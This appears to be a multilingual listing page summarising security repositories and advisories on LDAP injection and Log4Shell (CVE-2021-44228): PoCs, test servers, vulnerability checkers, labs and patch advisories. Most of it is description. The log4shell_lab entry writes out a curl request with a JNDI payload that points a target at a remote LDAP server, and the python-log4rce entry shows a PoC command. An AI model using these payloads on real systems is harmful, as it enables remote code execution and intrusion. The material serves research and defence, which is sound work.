shiro

CVE-2026-49268 — LDAPインジェクション認証バイパス脆弱性の分析と修復 | ---|--- ブランチ| 1.13-CVE-2026-49268 作者| Jinwoo Hwang https://JinwooHwang.com このブランチ（1.13-CVE-2026-49268）には、Apache Shiro 1.13リリースにおけるLDAPインジェクション認証バイパス脆弱性に対する包括的なセキュリティ修復が含まれています。 NVD公式説明 リモート攻撃者は、DefaultLdapRealmクラスのDistinguished Name（DN）構築にLDAP特殊文字を...

jndi-ldap-test-server

jndi-ldap-test-server これは、Java の JNDI+LDAP インジェクション攻撃、特に CVE-2021-44228 の脆弱性をテストするための 最小限の LDAP サーバーです。 CVE-2021-44228 の脆弱性をテストする方法 1. お使いのプラットフォーム用のテストサーバーバイナリをダウンロードします（すべてのバイナリは Releases にあります）。 2. テスト対象のアプリケーションからアクセス可能な IP アドレスでテストサーバーを実行します。 テスト対象のアプリと同じホストでサーバーを実行できれば最も簡単です （localhost）。 3...

CVE-2021-44228-Log4j-lookup-Rce

0x01、環境 Jdk7u21（任意バージョンで可） 影響バージョン：Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc root@kitploit: import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static void mainStri...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 지원을 표시하세요 - 콘텐츠가 마음에 들면 ⭐️를 눌러주세요 | 트위터에 공유 | 팔로우하기 🐱‍💻 ✂️ 🤬 LOG4J Java 익스플로잇 - WAF 및 패치 우회 트릭 📝 설명 CVE-2021-44228 는 다음에서 작동합니다: log4j: 2.0 = Apache log4j = 2.14.1 이미 패치된 Java 버전: 6u211+, 7u201+, 8u191+, 11.0.1+. Windows Defender에서 jndi:ldap:....을 포함하는 .java 파일을 제거하기 시작했습니다. 간단한 공격자 스크립트 가능한 RCE:...

python-log4rce

Python Log4RCE CVE-2021-44228에 대한 올인원 순수 Python3 PoC입니다. 샘플 root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target is...

CVE-2021-29156

CVE-2021-29156 概念実証（Proof-of-Concept） c 2021 GuidePoint Security Charlton Trezevant [email protected] 背景 本日 GuidePoint は、ForgeRock OpenAM v13.0.0 における LDAP インジェクションの脆弱性である CVE-2021-29156 に対する実用的な概念実証ツールを公開できることを嬉しく思います。この脆弱性により、攻撃者は文字単位のブルートフォース攻撃を用いて、脆弱性のある OpenAM...

log4j2-exploit

Log4Shell CVE-2021-44228 概念実証 要件 Java JDK/JRE 8 以降のバージョン curl exploitable シンプルなSpring Bootアプリケーションで、ユーザー名とパスワードのログインページを提供します。POSTで / に送信されたユーザー名をログに記録します。アプリケーションがユーザー入力のログを記録する必要はありません。脆弱なバージョンのlog4j2を使用するアクセスログを有効にするだけで十分です。 実行方法: root@kitploit: cd exploitable ../mvnw -q spring-boot:run...

CVE-2020-3952

CVE-2020-3952의 취약 상태를 확인하는 스크립트 이는 guardicore exploit에서 영감을 받았지만 약간의 차이가 있습니다: 관리자 사용자를 생성하지 않습니다. 내장된 Administrators 그룹이 무해한 'description' 속성을 생성하거나 추가하여 오염될 수 있는지 확인하여 취약 상태를 평가합니다. 확인 사용법: root@kitploit: $ python exploitcheck.py vserverip 시도 탐지 suricata 서명 규칙 vmware.rules는 Administrators 그룹에 대...

SecurEnvoy Two Factor Authentication - LDAP Injection

Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the...

vmware_vcenter_cve_2020_3952

CVE-2020-3952の概念実証 これは、CVE-2020-3952を悪用する短いコードです。この脆弱性の詳細は、Guardicore Labsの記事（こちら）で説明されています。 この脆弱性は、2020年4月にVMwareによって公開され、CVSSスコア最大10.0と評価されました。ネットワーク接続を持つ攻撃者がvCenterディレクトリ（ひいてはvSphereデプロイ）を制御できるようになります。 VMwareはこのバグの修正をvCenter Server 6.7 Update 3fでリリースしました。以前のバージョンからアップグレードされたパッチ未適用のvCenter...

securenvoy-cve-2024-37393

securenvoy-cve-2024-37393 責任ある開示 CVE-2024-37393（SecurEnvoy MFA 9.4.513）の脆弱性チェックスクリプト。 LDAPインジェクションをチェックするための概念実証コードです。 修正 脆弱性はSecurEnvoy MFA = 9.4.514で修正されました。 リンク https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393 著者 https://optistream.io...

log4j-docker-vaccine

Log4j Docker Vaccine Cyberreason が提供する log4j ワクチンをコンテナ化して実行する方法 https://github.com/Cybereason/Logout4Shell 実行方法 このリポジトリをクローンします: root@kitploit: git clone https://github.com/jeffbryner/log4j-docker-vaccine.git containers.env...

CVE-2020-1958

CVE-2020-1958 PoC CVE-2020-1958는 Apache Druid 0.17.0에서 발견된 심각도가 높은 LDAP 인젝션 취약점입니다. 이를 통해 공격자는 LDAP 검색 필터를 우회하고 LDAP 서버에 존재하는 사용자의 모든 LDAP 속성 값을 검색할 수 있습니다. 공식 Apache Druid 권고에 따르면: LDAP 인증이 활성화된 경우: 유효한 LDAP 자격 증명을 가진 Druid API 호출자는 유효한 LDAP 사용자가 Druid에 인증할 수 있는지 결정하는...

CVE-2020-9495

CVE-2020-9495 PoC CVE-2020-9495 は、Apache Archiva の 2.2.5 より前のバージョンにおける中程度の深刻度の LDAP インジェクション脆弱性です。これにより、攻撃者は LDAP サーバー上に存在するユーザーの任意の LDAP 属性値を取得できます。 公式の Apache Archiva アドバイザリ より: 特別な値を archiva のログインフォームに提供することで、攻撃者は接続された LDAP サーバーからユーザー属性データを取得できます。特定の文字を使用すると、接続された LDAP サーバー上のユーザーを照会するために使用される...

Triage-CVE-2021-44228-Log4Shell-Log4j-

Triage: CVE-2021-44228 Log4Shell / Log4j このラボの目標は、近年最も広く悪用された実世界の脆弱性の1つであるLog4Shellという、別の有名な脆弱性をトリアージすることでした。影響を受けるライブラリがエンタープライズソフトウェア全体で非常に一般的だったためです。 ステップ1: NVDでCVEを開く 私はNational Vulnerability Databaseにアクセスし、CVEを調べました： root@kitploit: https://nvd.nist.gov/vuln/search/nvd/home?resultType=records...

TPASLog4ShellPoC

TPAS Log4Shell PoC 이 저장소는 FCUP 정보보안 석사 과정의 TPAS 교과목 과제의 일환으로 개발된 Log4Shell 취약점CVE-2021-44228에 대한 개념 증명PoC을 포함합니다. 다음 기능을 제공합니다: 제품을 탐색하고 설명, 가격, 평점 등의 기본 세부 정보를 볼 수 있는 기본 기능을 갖춘 일반 전자상거래 웹사이트를 시뮬레이션하는 React SPA 프론트엔드 더미 JSON API https://dummyjson.com/docs/products를 통해 제공됨 취약한 버전의 Log4j 2.14를 사용하는...

EulerOS Virtualization 2.11.0 : python-ldap (EulerOS-SA-2026-3548)

According to the versions of the python-ldap packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : python-ldap is a lightweight directory access protocol LDAP client API for Python. In versions prior to 3.4.5,...

EulerOS Virtualization 2.11.1 : python-ldap (EulerOS-SA-2026-3461)

According to the versions of the python-ldap packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : python-ldap is a lightweight directory access protocol LDAP client API for Python. In versions prior to 3.4.5,...

log4shell_lab

log4shell 익스플로잇 랩 이 저장소는 log4shell 익스플로잇 랩을 위한 원라인 설정입니다. 랩 설정: docker-compose up -d 익스플로잇 실행: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 그런 다음 vul 컨테이너로 이동하여 실제로 머신을 장악했는지 확인하세요: 랩 설정 설명 영상: https://www.youtube.com/watch?v=WBzR30JcT5g 코드 설명 영상:...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC Lab 免責事項 このラボは教育およびセキュリティ研究のみを目的 として作成されています。 すべてのトラフィックは隔離されたDockerネットワーク内で発生します。 実際のシステムや明示的な許可なしにこの資料を使用しないでください。 不正使用は犯罪となる可能性があります。責任を持って使用してください。 CVE-2021-44228 とは？ Log4Shell は、2021年12月に発見された、Javaアプリケーションで広く使用されているロギングライブラリ Apache Log4j 2 の重大な脆弱性（CVSS 10.0）です。...